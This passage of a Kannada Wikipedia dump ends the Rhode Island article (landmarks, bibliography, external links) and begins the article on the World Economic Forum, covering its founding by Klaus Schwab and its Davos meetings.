ಚಾಂಪಿಯನ್‌ಶಿಪ್ ಸ್ಥಳವಾಗಿದೆ. ಈ ಪಂದ್ಯಾವಳಿಯು ಅಮೆರಿಕದ ಹುಲ್ಲಿನ ಅಂಕಣಗಲ್ಲಿ ಆಡುವ ಏಕೈಕ ವೃತ್ತಿಪರ ಟೆನ್ನಿಸ್ ಸ್ಪರ್ಧೆಯಾಗಿದೆ. 1955ರಲ್ಲಿ ಹಾಲ್ ಆಫ್ ಫೇಮ್ ಪ್ರಥಮ ಸದಸ್ಯರನ್ನು ಸೇರ್ಪಡೆ ಮಾಡಲಾಯಿತು. 2008ರಲ್ಲಿ ಹಾಲ್ ಆಫ್ ಫೇಮ್‌ನಲ್ಲಿ ಒಟ್ಟು 207 ಆಟಗಾರರು, ದಾನಿಗಳು ಮತ್ತು ಕೋರ್ಟ್ ಟೆನ್ನಿಸ್ ಆಟಗಾರರಿದ್ದರು. {{Clear}} == ಮೈಲಿಗಲ್ಲುಗಳು == [[ಚಿತ್ರ:Rhode Island State Capitol (north facade).jpg|right|200px|thumb|ರೋಡ್ ಐಲೆಂಡ್ ಸ್ಟೇಟ್ ಹೌಸ್]] [[ಚಿತ್ರ:The Breakers Newport.jpg|200px|thumb|ದಿ ಬ್ರೇಕರ್ಸ್ ಮ್ಯಾನ್ಷನ್]] {{See also|List of Registered Historic Places in Rhode Island}} ರಾಜ್ಯದ ಕ್ಯಾಪಿಟಲ್(ಶಾಸನಸಭೆ)ಕಟ್ಟಡವನ್ನು ಬಿಳಿಯ ಜಾರ್ಜಿಯನ್ ಅಮೃತಶಿಲೆಯಿಂದ ನಿರ್ಮಿಸಲಾಗಿದೆ. ಮೇಲ್ಭಾಗದಲ್ಲಿ ವಿಶ್ವದ ನಾಲ್ಕನೇ ಅತೀ ದೊಡ್ಡ ಸ್ವಯಂ ಬೆಂಬಲಿತ ಅಮೃತಶಿಲೆಯ ಗುಮ್ಮಟವಾಗಿದೆ.<ref>[http://www.visitrhodeisland.com/attractions/propertyDetail.aspx?id=1251&amp;ref=/attractions/index.aspx VisitRhodeIsland.com :: ಅಟ್ರಾಕ್ಷನ್ಸ್ :: ಸ್ಟೇಟ್ ಕ್ಯಾಪಿಟಲ್] {{Webarchive|url=https://web.archive.org/web/20080428040406/http://www.visitrhodeisland.com/attractions/propertyDetail.aspx?id=1251&ref=%2Fattractions%2Findex.aspx |date=ಏಪ್ರಿಲ್ 28, 2008 }}.</ref> ಇದು 1663ರ ರೋಡ್ ಐಲೆಂಡ್ ಸನ್ನದಿಗೆ ಮತ್ತು ಇತರ ರಾಜ್ಯದ ಅಮೂಲ್ಯ ವಸ್ತುಗಳಿಗೆ ನೆಲೆಯಾಗಿದೆ. ಅಮೆರಿಕದ ಪ್ರಥಮ ಬ್ಯಾಪ್ಟಿಸ್ಟ್ ಚರ್ಚ್ ಅಮೆರಿಕದ ಅತೀ ಪ್ರಾಚೀನ ಬ್ಯಾಪ್ಟಿಟ್ಸ್ ಚರ್ಚ್ ಆಗಿದ್ದು, 1638ರಲ್ಲಿ ರೋಜರ್ ವಿಲಿಯಮ್ಸ್ ಸ್ಥಾಪಿಸಿದರು. ರಾಷ್ಟ್ರದ ಪ್ರಥಮ ಪೂರ್ಣ ಸ್ವಯಂಚಾಲಿತ ಅಂಚೆ ಕಚೇರಿಯು ಪ್ರಾವಿಡೆನ್ಸ್‌ನಲ್ಲಿ ನೆಲೆಗೊಂಡಿದೆ. ನ್ಯೂಪೋರ್ಟ್ ಕಡಲತಡಿ ನಗರದಲ್ಲಿ ಅನೇಕ ಮಹಲುಗಳಿದ್ದು, ಅವುಗಳಲ್ಲಿ ದಿ ಬ್ರೇಕರ್ಸ್, ಮಾರ್ಬಲ್ ಹೌಸ್ ಮತ್ತು ಬೆಲ್‌ಕೋರ್ಟ್ ಕ್ಯಾಸಲ್ ಒಳಗೊಂಡಿವೆ. ಅಲ್ಲಿ 1763ರ ಡಿಸೆಂಬ್ಬರ್ 2ರಂದು ಮುಡುಪಾಗಿಟ್ಟ ಟೌರೊ ಯಹೂದ್ಯ ಆರಾಧನೆ ಮಂದಿರ ಕೂಡ ನೆಲೆಗೊಂಡಿದೆ. ಅಮೆರಿಕದಲ್ಲಿ ಇದು ಪ್ರಥಮ ಯಹೂದ್ಯ ಆರಾಧಾನಾ ಮಂದಿರವೆಂದು ಸ್ಥಳೀಯರಿಂದ ಪರಿಗಣಿತವಾಗಿದ್ದು,( ಮಾಹಿತಿಗಾಗಿ ನ್ಯೂಯಾರ್ಕ್ ನಗರ ವಿವರಣೆಯನ್ನು ಕೆಳಗೆ ನೋಡಿ)ಇನ್ನೂ ಕಾರ್ಯನಿರ್ವಹಿಸುತ್ತಿದೆ. ಈ ಆರಾಧನಾ ಮಂದಿರವು ರೋಜರ್ ವಿಲಿಯಮ್ಸ್ ದೃಢಪಡಿಸಿದ ಧಾರ್ಮಿಕ ಸ್ವಾತಂತ್ರ್ಯಗಳನ್ನು ಹಾಗು ಶ್ರೇಷ್ಠ ವಸಾಹತು ಮತ್ತು ಸೆಫಾರ್ಡಿಕ್ ಶೈಲಿಯ ಮಿಶ್ರಣದೊಂದಿಗೆ ಪರಿಣಾಮಕಾರಿ ವಾಸ್ತುಶೈಲಿಯನ್ನು ಬಿಂಬಿಸುತ್ತದೆ. ನ್ಯೂಪೋರ್ಟ್ ಕ್ಯಾಸಿನೊ ರಾಷ್ಟ್ರೀಯ ಐತಿಹಾಸಿಕ ಮೈಲಿಗಲ್ಲು ಕಟ್ಟಡ ಸಂಕೀರ್ಣವಾಗಿದ್ದು, ಇಂಟರ್‌ನ್ಯಾಷನಲ್ ಟೆನ್ನಿಸ್ ಹಾಲ್ ಆಫ್ ಫೇಮ್ ನೆಲೆಯಾಗಿದೆ ಮತ್ತು ಸಕ್ರಿಯ ಹುಲ್ಲಿನ ಕೋರ್ಟ್ ಟೆನ್ನಿಸ್ ಕ್ಲಬ್ ಒಳಗೊಂಡಿದೆ. ಸೀನಿಕ್ ರೂಡ್ 1A(ಸ್ಥಳೀಯವಾಗಿ ಓಷನ್ ರೋಡ್ ಎಂದು ಹೆಸರಾಗಿದೆ) ನರ್ರಾಗನ್‌ಸೆಟ್‌ನಲ್ಲಿದೆ. ದಿ ಟವರ್ಸ್ ಎಂಬ ದೊಡ್ಡ ಕಲ್ಲಿನ ಕಮಾನು ನರಾಗ‌ನ್‌ಸೆಟ್‌ನಲ್ಲಿ ನೆಲೆಯಾಗಿದೆ. ಇದು ಒಂದೊಮ್ಮೆ ಪ್ರಖ್ಯಾತ ನರ್ರಾಗನ್‌ಸೆಟ್ ಕ್ಯಾಸಿನೊ(ವಿನೋದ ಮಂದಿರ)ಗೆ ಪ್ರವೇಶದ್ವಾರವಾಗಿದ್ದು, ಕ್ಯಾಸಿನೊ 1900ರಲ್ಲಿ ಸುಟ್ಟುಹೋಯಿತು. ಟವರ್ಸ್ ಈಗ ಪ್ರವಾಸಿ ಮಾಹಿತಿ ಕೇಂದ್ರವಾಗಿ ಕಾರ್ಯನಿರ್ವಹಿಸುತ್ತಿದೆ. ನ್ಯೂಪೋರ್ಟ್ ಟವರ್ ವೈಕಿಂಗ್ ಮೂಲದ್ದೆಂದು ಊಹಿಸಲಾಗಿದೆ. ಆದರೂ ಇದು ವಸಾಹತು ಯುಗದ ಗಾಳಿಯಂತ್ರವೆಂದು ಅನೇಕ ತಜ್ಞರು ನಂಬಿದ್ದಾರೆ. {{Clear}} == ಇವನ್ನೂ ನೋಡಿ == {{Portal box|North America|United States|Rhode Island}} {{Main|Outline of Rhode Island|Index of Rhode Island-related articles}} {{Clear}} == ಉಲ್ಲೇಖಗಳು == {{Reflist|colwidth=30em}} == ಗ್ರಂಥಸೂಚಿ == {{Refbegin}} === ಪ್ರಾಥಮಿಕ ಮೂಲಗಳು === * ಡಿವೈಟ್, ತಿಮೋತಿ ''ಟ್ರಾವೆಲ್ಸ್ ಥ್ರೂ ನ್ಯೂ ಇಂಗ್ಲೆಂಡ್ ಎಂಡ್ ನ್ಯೂಯಾರ್ಕ್'' (ಸಿರ್ಕಾ 1800) 4 ಸಂಪುಟಗಳು (1969) ಆನ್‌ಲೈನ್ ಎಟ್: [http://www-gdz.sub.uni-goettingen.de/cgi-bin/digbib.cgi?PPN244525439 vol 1]; [http://dz-srv1.sub.uni-goettingen.de/sub/digbib/loader?did=D6116 vol 2]; [http://dz-srv1.sub.uni-goettingen.de/sub/digbib/loader?did=D6784 vol 3]; [http://dz-srv1.sub.uni-goettingen.de/sub/digbib/loader?did=D6003 vol 4]{{Dead link|date=ಆಗಸ್ಟ್ 2021 |bot=InternetArchiveBot |fix-attempted=yes }} * [http://www.hti.umich.edu/cgi/t/text/text-idx?c=moa;idno=ADH0309 ಮೆಕ್‌ಫೆಟ್ರೇಸ್, S. ''1868ರ ಚುನಾವಣೆ ಪ್ರಚಾರದ ರಾಜಕೀಯ ಕೈಪಿಡಿಯನ್ನು ನ್ಯೂ ಇಂಗ್ಲೆಂಡ್ ರಾಜ್ಯಗಳ ಬಳಕೆಗೆ,ಪ್ರತಿ ಪಟ್ಟಣದ ಜನಸಂಖ್ಯೆ ಮತ್ತು ಇತ್ತೀಚಿನ ಚುನಾವಣೆ ಫಲಶ್ರುತಿಗಳನ್ನು ಹೊಂದಿದೆ'' (1868). ] * [http://www.sec.state.ri.us/resources_for/library/riinfo/riinfo/knowrhode ರೋಡ್ ಐಲೆಂಡ್ಸ್ ಜಿಯೋಗ್ರಫಿ ಎಂಡ್ ಕ್ಲೈಮೇಟ್] === ದ್ವಿತೀಯ ಮೂಲಗಳು === * [http://www.dinsdoc.com/adams-1-0a.htm ಅಡಾಮ್ಸ್, ಜೇಮ್ಸ್ ಟ್ರಸ್ಲೊ ][http://www.dinsdoc.com/adams-1-0a.htm '''' ದಿ ಫೌಂಡಿಂಗ್ ಆಫ್ ನ್ಯೂ ಇಂಗ್ಲೆಂಡ್/0} (1921)] * ಅಡಾಮ್ಸ್, ಜೇಮ್ಸ್ ಟ್ರಸ್ಲೊ ''ರಿವಾಲ್ಯೂಷನರಿ ನ್ಯೂ ಇಂಗ್ಲೆಂಡ್ 1691–1776'' (1923) * ಅಡಾಮ್ಸ್, ಜೇಮ್ಸ್ ಟ್ರಸ್ಲೊ ''ನ್ಯೂ ಇಂಗ್ಲೆಂಡ್ ಇನ್ ದಿ ರಿಪಬ್ಲಿಕ್, 1776–1850'' (1926) * ಆಂಡ್ರಿವ್ಸ್ ಚಾರ್ಲ್ಸ್ M.''ದಿ ಫಾದರ್ಸ್ ಆಫ್ ನ್ಯೂ ಇಂಗ್ಲೆಂಡ್: ಎ ಕ್ರೋನಿಕಲ್ ಆಫ್ ದಿ ಪ್ಯೂರಿಟನ್ ಕಾಮನ್‌ವೆಲ್ತ್ಸ್'' (1919). ಪ್ರಮುಖ ವಿದ್ವಾಂಸರಿಂದ ಸಣ್ಣ ಸಮೀಕ್ಷೆ. * ಆಕ್ಸ್‌ಟೆಲ್ ಜೇಮ್ಸ್, ed. ''ದಿ ಅಮೆರಿಕನ್ ಪೀಪಲ್ ಇನ್ ಕಾಲೋನಿಯಲ್ ನ್ಯೂ ಇಂಗ್ಲೆಂಡ್'' (1973), ಹೊಸ ಸಾಮಾಜಿಕ ಇತಿಹಾಸ * ಬ್ರೀವರ್, ಡೇನಿಯಲ್ ಚಾನ್ಸಿ ''ಕನ್‌ಕ್ವೆಸ್ಟ್ ಆಫ್ ನ್ಯೂ ಇಂಗ್ಲೆಂಡ್ ಬೈ ದಿ ಇಮ್ಮಿಗ್ರಾಂಟ್(1926).'' * ಕೋಲ್‌ಮ್ಯಾನ್, ಪೀಟರ್ J. ''ದಿ ಟ್ರಾನ್ಸ್‌ಪಾರ್ಮೇಶನ್ ಆಫ್ ರೋಡ್ ಐಲೆಂಡ್, 1790–1860'' (1963) * ಕಾನ್ಫಾರ್ಟಿ, ಜೋಸೆಫ್ A. ''ಇಮ್ಯಾಜಿನಿಂಗ್ ನ್ಯೂ ಇಂಗ್ಲೆಂಡ್: ಎಕ್ಸ್‌ಪ್ಲೋರೇಷನ್ಸ್ ಆಫ್ ರೀಜನಲ್ ಐಡೆಂಟಿಟಿ ಫ್ರಂ ದಿ ಪಿಲಿಗ್ರಿಮ್ಸ್ ಟು ದಿ ಮಿಡ್-ಟ್ವೆಂಟಿಯತ್ ಸೆಂಚುರಿ'' (2001) * ಡೆನ್ನಿಸನ್, ಜಾರ್ಜ್ M. ''ದಿ ಡೋರ್ ವಾರ್: ರಿಪಬ್ಲಿಕಾನಿಸಂ ಆನ್ ಟ್ರಯಲ್, 1831–1861'' (1976) * ಹಾಲ್, ಡೊನಾಲ್ಡ್, ed. ಎನ್‌ಸೈಕ್ಲೋಪೀಡಿಯ ಆಫ್ ನ್ಯೂ ಇಂಗ್ಲೆಂಡ್ (2005) * ಕಾರ್ಲ್‌ಸನ್, ಕ್ಯಾರೊಲ್ F. ''ದಿ ಡೆವಿಲ್ ಇನ್ ದಿ ಶೇಪ್ ಆಫ್ ಎ ವುಮೆನ್: ವಿಚ್‌ಕ್ರಾಫ್ಟ್ ಇನ್ ಕಾಲೋನಿಯಲ್ ನ್ಯೂ ಇಂಗ್ಲೆಂಡ್'' (1998) * ಲವ್‌ಜಾಯ್, ಡೇವಿಡ್ S. ''ರೋಡ್ ಐಲೆಂಡ್ ಪಾಲಿಟಿಕ್ಸ್ ಎಂಡ್ ದಿ ಅಮೆರಿಕನ್ ರಿವಾಲ್ಯೂಷನ್, 1760–1776'' (1969) * ಮೆಕ್‌ಲಾಫ್ಲಿನ್, ವಿಲಿಯಂ. ''ರೋಡ್ ಐಲೆಂಡ್: ಎ ಬೈಸೆಂಟಿನಿಯಲ್ ಹಿಸ್ಟರಿ'' (1976) * [http://www.hti.umich.edu/cgi/t/text/text-idx?c=moa;idno=AJA1967 ಪಾಲ್‌ಫ್ರೆ, ಜಾನ್ ಗೋರ್ರಾಮ್ ][http://www.hti.umich.edu/cgi/t/text/text-idx?c=moa;idno=AJA1967 ''ಹಿಸ್ಟರಿ ಆಫ್ ನ್ಯೂ ಇಂಗ್ಲೆಂಡ್'' (5 ಸಂಪುಟ 1859–90)] * ಸ್ಲೇವರಿ ಇನ್ ದಿ ನಾರ್ತ್ - ಸ್ಲೇವರಿ ಇನ್ ರೋಡ್ ಐಲೆಂಡ್ {{cite web |url=http://www.slavenorth.com/rhodeisland.htm |title=Slavery in Rhode Island |publisher=Slavenorth.com |date= |accessdate=July 31, 2010 }} * ಸ್ಲೆಚರ್, ಮೈಕೇಲ್ ನ್ಯೂ ಇಂಗ್ಲೆಂಡ್ (2004). * ಸ್ಟೀಫನ್‌ಸನ್, ನಥಾನಿಯಲ್ ರೈಟ್ ''ನೆಲ್ಸನ್ W. ಆಲ್ಡ್ರಿಕ್, ಎ ಲೀಡರ್ ಇನ್ ಅಮೆರಿಕನ್ ಪಾಲಿಟಿಕ್ಸ್'' (1930). * WPA. ''ಗೈಡ್ ಟು ರೋಡ್ ಐಲೆಂಡ್'' (1939). * ಜಿಮ್ಮರ್‌‌ಮ್ಯಾನ್, ಜೋಸೆಫ್ F. ''[http://www.questia.com/library/book/the-new-england-town-meeting-democracy-in-action-by-joseph-f-zimmerman.jsp ದಿ ನ್ಯೂ ಇಂಗ್ಲೆಂಡ್ ಟೌನ್ ಮೀಟಿಂಗ್: ಡೆಮಾಕ್ರಸಿ ಇನ್ ಆಕ್ಷನ್].'' (1999) {{Refend}} == ಬಾಹ್ಯ ಕೊಂಡಿಗಳು == {{Sister project links}} {{osmrelation|165795}} * [http://www.ri.gov/index.php ಸ್ಟೇಟ್ ಆಫ್ ರೋಡ್ ಐಲೆಂಡ್ ಗವರ್ನ್‌ಮೆಂಟ್ ವೆಬ್‌ಸೈಟ್] * [http://wikis.ala.org/godort/index.php/Rhode_Island ರೋಡ್ ಐಲೆಂಡ್ ಸ್ಟೇಟ್ ಡಾಟಾಬೇಸಸ್] {{Webarchive|url=https://web.archive.org/web/20080515221317/http://wikis.ala.org/godort/index.php/Rhode_Island |date=ಮೇ 15, 2008 }} - ರೋಡ್ ಐಲೆಂಡ್ ರಾಜ್ಯ ಸಂಸ್ಥೆಗಳು ತಯಾರಿಸಿದ ಶೋಧಿಸಬಹುದಾದ ದತ್ತಾಂಶಸಂಗ್ರಹಗಳ ಟಿಪ್ಪಣಿ ಪಟ್ಟಿ ಮತ್ತು ಅಮೆರಿಕನ್ ಲೈಬ್ರರಿ ಅಸೋಸಿಯೇಷನ್‌ನ ಗವರ್ನ್‌ಮೆಂಟ್ ಡಾಕ್ಯೂಮೆಂಟ್ಸ್ ರೌಂಡ್‌ಟೇಬಲ್‌ನಿಂದ ಸಂಗ್ರಹ. * {{dmoz|Regional/North_America/United_States/Rhode_Island}} * [http://tonto.eia.doe.gov/state/state_energy_profiles.cfm?sid=RI ಎನರ್ಜಿ & ಎನ್‌ವೈರಾನ್‌ಮೆಂಟಲ್ ಡಾಟಾ ಫಾರ್ ರೋಡ್ ಐಲೆಂಡ್] * [http://www.usgs.gov/state/state.asp?State=RI USGS ರಿಯಲ್-ಟೈಮ್, ಜಿಯೋಗ್ರಾಫಿಕ್ ಎಂಡ್ ಅದರ್ ಸೈಂಟಿಫಿಕ್ ರಿಸೋರ್ಸ್‌ಸ್ ಆಫ್ ರೋಡ್ ಐಲೆಂಡ್] * [http://quickfacts.census.gov/qfd/states/44000.html U.S. ಸೆನ್ಸಸ್ ಬ್ಯೂರೊ] {{Webarchive|url=https://web.archive.org/web/20101015091121/http://quickfacts.census.gov/qfd/states/44000.html |date=ಅಕ್ಟೋಬರ್ 15, 2010 }} * [http://www.rilin.state.ri.us/Statutes/ ರೋಡ್ ಐಲೆಂಡ್ ಲಾಸ್] * [http://www.scituateartfestival.org ಸ್ಕಿಚುಯೇಟ್ ಆರ್ಟ್ ಫೆಸ್ಟಿವಲ್] * [http://www.ers.usda.gov/StateFacts/RI.htm ರೋಡ್ ಐಲೆಂಡ್ ಸ್ಟೇಟ್ ಫ್ಯಾಕ್ಸ್] {{Webarchive|url=https://web.archive.org/web/20130227124218/http://www.ers.usda.gov/StateFacts/RI.HTM |date=ಫೆಬ್ರವರಿ 27, 2013 }} * [http://encyclopedia.jrank.org/RAY_RHU/RHODE_ISLAND.html ಡೀಟೈಲ್ಡ್ ಹಿಸ್ಟಾರಿಕಲ್ ಆರ್ಟಿಕಲ್ ಫ್ರಂ ದಿ 1911 ಎನ್‌ಸೈಕ್ಲೋಪೀಡಿಯ ಬ್ರಿಟಾನಿಕ] {{Webarchive|url=https://web.archive.org/web/20100630224121/http://encyclopedia.jrank.org/RAY_RHU/RHODE_ISLAND.html |date=ಜೂನ್ 30, 2010 }} * [http://imdb.com/LocationTree?Rhode+Island,+USA ಡೈರೆಕ್ಟರಿ ಆಫ್ ಫಿಲ್ಮಿಂಗ್ ಲೊಕೇಶನ್ಸ್ ಇನ್ ದಿ ಸ್ಟೇಟ್]{{Dead link|date=ಆಗಸ್ಟ್ 2021 |bot=InternetArchiveBot |fix-attempted=yes }} * [http://usmapserver.com/Rhode_Island ಇಂಟರಾಕ್ಟಿವ್ ರೋಡ್ ಐಲೆಂಡ್ ಮ್ಯಾಪ್ ಸರ್ವರ್] * [http://www.oldstratforduponavon.com/rhodeisland ಓಲ್ಡ್ ಪೋಸ್ಟ್‌ಕಾರ್ಡ್ಸ್ ಆಫ್ ರೋಡ್ ಐಲೆಂಡ್] * [http://www.mrnussbaum.com/riflash2.htm ಓಲ್ಡ್ ಇಂಟರಾಕ್ಟಿವ್ ರೋಡ್ ಐಲೆಂಡ್ ಫಾರ್ ಚಿಲ್ಡ್ರನ್] {{Webarchive|url=https://web.archive.org/web/20100102202907/http://mrnussbaum.com/riflash2.htm |date=ಜನವರಿ 2, 2010 }} {{Geographic Location |Centre = Rhode Island |North = [[Massachusetts]] |Northeast = |East = [[Massachusetts]] |Southeast = |South = [[Atlantic Ocean]] |Southwest = |West = [[Connecticut]] |Northwest = }} {{Template group |title = <span style="font-size:11pt;">Articles Related to Rhode Island and The Providence Plantations</span> <br /> ''The Ocean State'' |list = {{Rhode Island|expanded}} {{New England}} }} {{United States}} {{United States topics}} {{Succession | preceded = [[North Carolina]] | office = [[List of U.S. states by date of statehood]] | years = Ratified [[Constitution of the United States of America|Constitution]] on May 29, 1790 (13th) | succeeded = [[Vermont]] }} {{Coord|41.7|N|71.5|W|region:US-RI_type:adm1st_scale:1000000|display=title}} [[ವರ್ಗ:ರೋಡ್ ಐಲ್ಯಾಂಡ್]] [[ವರ್ಗ:ಅಮೇರಿಕ ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ ರಾಜ್ಯಗಳು]] bds2w9yi2tjx84jb5ss8gg90s3gv7rq ವಿಶ್ವ ಆರ್ಥಿಕ ವೇದಿಕೆ 0 26356 1116471 1062073 2022-08-23T13:21:41Z InternetArchiveBot 69876 Rescuing 1 sources and tagging 0 as dead.) #IABot (v2.0.9 wikitext text/x-wiki {{Infobox Organization |name = World Economic Forum |image = World Economic Forum logo.svg |formation = 1971 |type = [[Non-profit organization]] |status = Foundation |headquarters = [[Cologny]], [[Switzerland]] |region_served = Worldwide |leader_title = [[CEO]] |leader_name = [[Klaus Martin Schwab]] |website = [http://www.weforum.org/ http://www.weforum.org/]}} '''ವಿಶ್ವ ಆರ್ಥಿಕ ವೇದಿಕೆ''' (ವರ್ಲ್ಡ್‌ ಇಕನಾಮಿಕ್‌ ಫೋರಮ್‌-'''WEF''' ) ಎಂಬುದು [[ಜಿನಿವಾ]]-ಮೂಲದ, ಲಾಭಗಳಿಕೆಯ ಉದ್ದೇಶವಿಲ್ಲದ ಒಂದು ಪ್ರತಿಷ್ಠಾನವಾಗಿದ್ದು, [[ಸ್ವಿಟ್ಜರ್ಲ್ಯಾಂಡ್|ಸ್ವಿಜರ್‌ಲೆಂಡ್‌‌‌]]ನ ದಾವೋಸ್‌‌ನಲ್ಲಿ ನಡೆಯುವ ತನ್ನ ವಾರ್ಷಿಕ ಸಭೆಯಿಂದಾಗಿ ಸುಪರಿಚಿತವಾಗಿದೆ; ಆರೋಗ್ಯ ಮತ್ತು ಪರಿಸರ-ಸಂಬಂಧಿ ವಿಷಯಗಳೂ ಸೇರಿದಂತೆ, ವಿಶ್ವವು ಎದುರಿಸುತ್ತಿರುವ ಅತ್ಯಂತ ಜರೂರಾದ ಸಮಸ್ಯೆಗಳ ಕುರಿತು ಚರ್ಚಿಸಲು, ವ್ಯವಹಾರ ವಲಯದ ಅಗ್ರಗಣ್ಯ ನಾಯಕರು, ಅಂತರರಾಷ್ಟ್ರೀಯ ರಾಜಕೀಯ ನಾಯಕರು, ಆಯ್ದ ಬುದ್ಧಿಜೀವಿಗಳು ಮತ್ತು ಪತ್ರಕರ್ತರನ್ನು ಒಂದೆಡೆ ಸೇರಿಸುವ ವಾರ್ಷಿಕ ಸಭೆ ಇದಾಗಿದೆ. ಸಭೆಗಳು ಮಾತ್ರವೇ ಅಲ್ಲದೇ, ಸಂಶೋಧನಾ ವರದಿಗಳ ಒಂದು ಸರಣಿಯನ್ನೇ WEF ರೂಪಿಸುತ್ತದೆ ಮತ್ತು ವಲಯ-ಉದ್ದೇಶಿತ ಉಪಕ್ರಮಗಳಲ್ಲಿ ತನ್ನ ಸದಸ್ಯರನ್ನು ತೊಡಗಿಸುತ್ತದೆ.<ref name="Pigman p41-42">ಪಿಗ್‌ಮನ್‌ ಪುಟಗಳು 41-42</ref> [[ಚೀನಿ ಜನರ ಗಣರಾಜ್ಯ|ಚೀನಾ]]ದಲ್ಲಿ "ಹೊಸ ಚಾಂಪಿಯನ್ನರ ವಾರ್ಷಿಕ ಸಭೆ"ಯನ್ನೂ (ಆನ್ಯುಯಲ್‌ ಮೀಟಿಂಗ್‌ ಆಫ್‌ ದಿ ನ್ಯೂ ಚಾಂಪಿಯನ್ಸ್‌) WEF ಸಂಘಟಿಸುತ್ತದೆ ಹಾಗೂ ವರ್ಷದಾದ್ಯಂತವೂ ಪ್ರಾದೇಶಿಕ ಸಭೆಗಳ ಒಂದು ಸರಣಿಯನ್ನು ಆಯೋಜಿಸುತ್ತದೆ. 2008ರಲ್ಲಿ ನಡೆದ ಆ ಪ್ರಾದೇಶಿಕ ಸಭೆಗಳಲ್ಲಿ, ಯುರೋಪ್‌ ಮತ್ತು ಮಧ್ಯ ಏಷ್ಯಾ, ಪೂರ್ವ ಏಷ್ಯಾ, ರಷ್ಯಾ CEO ದುಂಡುಮೇಜಿನ ಪರಿಷತ್ತು, ಆಫ್ರಿಕಾ, ಮಧ್ಯ ಪ್ರಾಚ್ಯ ಇವುಗಳ ಕುರಿತಾದ ಸಭೆಗಳು, ಮತ್ತು ಲ್ಯಾಟಿನ್‌ ಅಮೆರಿಕಾದ ಕುರಿತಾದ ವಿಶ್ವ ಆರ್ಥಿಕ ವೇದಿಕೆ ಇವೆಲ್ಲವೂ ಸೇರಿದ್ದವು. 2008ರಲ್ಲಿ ಇದು ದುಬೈನಲ್ಲಿ "ಸಮಿಟ್‌ ಆನ್‌ ದಿ ಗ್ಲೋಬಲ್‌ ಅಜೆಂಡಾ" ಎಂಬ ಶೃಂಗಸಭೆಯನ್ನು ಪ್ರಾರಂಭಿಸಿತು. ==ಇತಿಹಾಸ== ಕ್ಲೌಸ್‌ ಮಾರ್ಟಿನ್‌ ಷ್ವಾಬ್‌ ಎಂಬ ಓರ್ವ ಜರ್ಮನ್‌-ಸಂಜಾತ ವ್ಯವಹಾರ-ವಿಷಯದ ಪ್ರಾಧ್ಯಾಪಕನಿಂದ 1971ರಲ್ಲಿ WEF ಸಂಸ್ಥಾಪಿಸಲ್ಪಟ್ಟಿತು. ಈತ ಜಿನಿವಾ ವಿಶ್ವವಿದ್ಯಾಲಯದಲ್ಲಿ ಪ್ರಾಧ್ಯಾಪಕನಾಗಿ ಕಾರ್ಯನಿರ್ವಹಿಸುತ್ತಿದ್ದ.<ref>ಪಿಗ್‌ಮನ್‌ ಪುಟಗಳು 6-22</ref> ಇದಕ್ಕೆ ಮೂಲತಃ ಯುರೋಪಿಯನ್‌ ಮ್ಯಾನೇಜ್‌ಮೆಂಟ್‌ ಫೋರಮ್‌ ಎಂಬ ಹೆಸರಿಡಲಾಗಿತ್ತು. ನಂತರ 1987ರಲ್ಲಿ ಇದು ತನ್ನ ಹೆಸರನ್ನು ವಿಶ್ವ ಆರ್ಥಿಕ ವೇದಿಕೆ (ವರ್ಲ್ಡ್‌ ಇಕನಾಮಿಕ್‌ ಫೋರಮ್‌) ಎಂಬುದಾಗಿ ಬದಲಾಯಿಸಿಕೊಂಡಿತು. ಅಷ್ಟೇ ಅಲ್ಲ, ಅಂತರರಾಷ್ಟ್ರೀಯ ಘರ್ಷಣೆಗಳನ್ನು ಪರಿಹರಿಸುವುದಕ್ಕಾಗಿ ವೇದಿಕೆಯೊಂದರ ಒದಗಿಸುವಿಕೆಯನ್ನು ಒಳಗೊಳ್ಳಲೆಂದು ತನ್ನ ದೃಷ್ಟಿಕೋನವನ್ನು ಮತ್ತಷ್ಟು ವಿಸ್ತರಿಸಲು ಅದು ಬಯಸಿತು. 1971ರ ಬೇಸಿಗೆಯಲ್ಲಿ, ದಾವೋಸ್‌ ಕಾಂಗ್ರೆಸ್‌ ಸೆಂಟರ್‌‌‌ನಲ್ಲಿ ಆಯೋಜಿಸಲಾದ ಮೊದಲ ಐರೋಪ್ಯ ವ್ಯವಸ್ಥಾಪನಾ ವಿಚಾರ ಸಂಕಿರಣಕ್ಕೆ (ಯುರೋಪಿಯನ್‌ ಮ್ಯಾನೇಜ್‌ಮೆಂಟ್‌ ಸಿಂಪೋಜಿಯಂ) ಪಾಶ್ಚಾತ್ಯ ಐರೋಪ್ಯ ಸಂಸ್ಥೆಗಳಿಗೆ ಸೇರಿದ 444 ಕಾರ್ಯನಿರ್ವಹಣಾಧಿಕಾರಿಗಳನ್ನು ಷ್ವಾಬ್‌ ಆಹ್ವಾನಿಸಿದ; ಐರೋಪ್ಯ ಆಯೋಗ ಮತ್ತು ಐರೋಪ್ಯ ಕೈಗಾರಿಕಾ ಸಂಘಗಳ ಆಶ್ರಯದ ಅಡಿಯಲ್ಲಿ ಆಯೋಜಿಸಲ್ಪಟ್ಟಿದ್ದ ಈ ವಿಚಾರ ಸಂಕಿರಣದಲ್ಲಿ, US ವ್ಯವಸ್ಥಾಪನಾ ಪರಿಪಾಠಗಳಿಗೆ ಐರೋಪ್ಯ ಸಂಸ್ಥೆಗಳನ್ನು ಪರಿಚಯಿಸಲು ಷ್ವಾಬ್‌ ಬಯಸಿದ್ದ. ಆಗ ಅವನು WEF ಸಂಘಟನೆಯನ್ನು ಜಿನಿವಾ ಮೂಲದ ಒಂದು ಲಾಭಗಳಿಕೆಯ ಉದ್ದೇಶವಿಲ್ಲದ ಸಂಘಟನೆಯಾಗಿ ಸಂಸ್ಥಾಪಿಸಿದ. ಅಷ್ಟೇ ಅಲ್ಲ, ಯುರೋಪಿನ ವ್ಯವಹಾರ ವಲಯದ ನಾಯಕರು ತಮ್ಮ ವಾರ್ಷಿಕ ಸಭೆಗಳನ್ನು ಪ್ರತಿ ವರ್ಷದ ಜನವರಿಯಲ್ಲಿ ದಾವೋಸ್‌ನಲ್ಲಿ ನಡೆಸುವಂತೆ ಅವರನ್ನು ಸೆಳೆದ.<ref>ಕೆಲ್ಲರ್‌ಮನ್‌ ಪುಟ 229</ref> ಎಲ್ಲಾ ಹಿತಾಸಕ್ತಿಗಳನ್ನೂ ಪರಿಗಣನೆಗೆ ತೆಗೆದುಕೊಂಡು ಮುನ್ನಡೆಯುವ ವ್ಯವಸ್ಥಾಪಕರ ಮೇಲೆ 